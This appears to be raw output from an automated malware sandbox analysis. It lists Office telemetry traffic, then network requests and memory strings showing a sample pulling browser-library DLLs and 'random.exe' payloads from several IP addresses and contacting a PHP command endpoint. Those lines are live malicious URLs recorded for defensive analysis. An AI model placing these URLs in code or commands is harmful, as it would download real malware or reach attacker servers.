Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703401v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703400v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703601v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703600v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703850v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703851v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703801v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703800v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703701v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703700v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703751v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703750v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704050v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704051v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/unique1/random.exe HTTP/1.1Host: 31.41.244.11

Source: e813b29f-5b0f-4c06-a9e3-385432aed8b1.tmp.9.dr

String found in binary or memory: "url": "https://www.youtube.com" equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: apis.google.com
Source: global traffic	DNS traffic detected: DNS query: ntp.msn.com
Source: global traffic	DNS traffic detected: DNS query: bzib.nelreports.net
Source: global traffic	DNS traffic detected: DNS query: chrome.cloudflare-dns.com
Source: global traffic	DNS traffic detected: DNS query: sb.scorecardresearch.com
Source: global traffic	DNS traffic detected: DNS query: assets.msn.com
Source: global traffic	DNS traffic detected: DNS query: c.msn.com
Source: global traffic	DNS traffic detected: DNS query: api.msn.com
Source: global traffic	DNS traffic detected: DNS query: deff.nelreports.net

Source: unknown

HTTP traffic detected: POST /RST2.srf HTTP/1.0Connection: Keep-AliveContent-Type: application/soap+xmlAccept: */*User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68})Content-Length: 3592Host: login.live.com

Source: file.exe, 00000000.00000002.1979495754.0000000001399000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1979495754.000000000137A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exe
Source: file.exe, 00000000.00000002.1979495754.000000000137A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exeW
Source: file.exe, 00000000.00000002.1979495754.000000000131E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1977949025.0000000000707000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206
Source: file.exe, 00000000.00000002.1979495754.000000000131E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206%
Source: file.exe, 00000000.00000002.1979495754.000000000137A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/
Source: file.exe, 00000000.00000002.1979495754.000000000137A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/freebl3.dll
Source: file.exe, 00000000.00000002.1979495754.000000000137A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/mozglue.dll
Source: file.exe, 00000000.00000002.1979495754.000000000137A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/mozglue.dllJ
Source: file.exe, 00000000.00000002.1979495754.000000000137A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/msvcp140.dll0
Source: file.exe, 00000000.00000002.1979495754.000000000137A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/msvcp140.dlll
Source: file.exe, 00000000.00000002.1979495754.000000000137A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/nss3.dllT
Source: file.exe, 00000000.00000002.1979495754.000000000137A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/nss3.dllt
Source: file.exe, 00000000.00000002.1979495754.000000000137A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/softokn3.dll
Source: file.exe, 00000000.00000002.1979495754.000000000137A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/sqlite3.dll
Source: file.exe, 00000000.00000002.1979495754.000000000137A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/sqlite3.dllp
Source: file.exe, 00000000.00000002.1979495754.000000000137A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/vcruntime140.dll)
Source: file.exe, 00000000.00000002.1979495754.000000000137A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/vcruntime140.dllY
Source: file.exe, 00000000.00000002.1979495754.000000000137A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/U
Source: file.exe, 00000000.00000002.2007398165.0000000023590000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php
Source: file.exe, 00000000.00000002.2007398165.0000000023590000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php:
Source: file.exe, 00000000.00000002.1979495754.0000000001399000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpBrowser
Source: file.exe, 00000000.00000002.1977949025.0000000000707000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpHCFC.exe-data;
Source: file.exe, 00000000.00000002.2007398165.0000000023590000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpV
Source: file.exe, 00000000.00000002.1979495754.000000000137A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpio
Source: file.exe, 00000000.00000002.2007398165.0000000023590000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpj
Source: file.exe, 00000000.00000002.1979495754.000000000137A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2007398165.0000000023590000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpp
Source: file.exe, 00000000.00000002.1979495754.0000000001399000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpre
Source: file.exe, 00000000.00000002.1977949025.0000000000707000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206ubert
Source: skotes.exe, 0000001C.00000002.2700081887.0000000001AD0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php
Source: skotes.exe, 0000001C.00000002.2700081887.0000000001AD0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpL
Source: skotes.exe, 0000001C.00000002.2700081887.0000000001AA7000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000001C.00000002.2700081887.0000000001A77000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000001C.00000002.2700081887.0000000001AD0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/unique1/random.exe
Source: skotes.exe, 0000001C.00000002.2700081887.0000000001AA7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/unique1/random.exe4m
Source: skotes.exe, 0000001C.00000002.2700081887.0000000001AD0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/unique1/random.exeed
Source: skotes.exe, 0000001C.00000002.2700081887.0000000001AD0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/unique1/random.exeoi
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
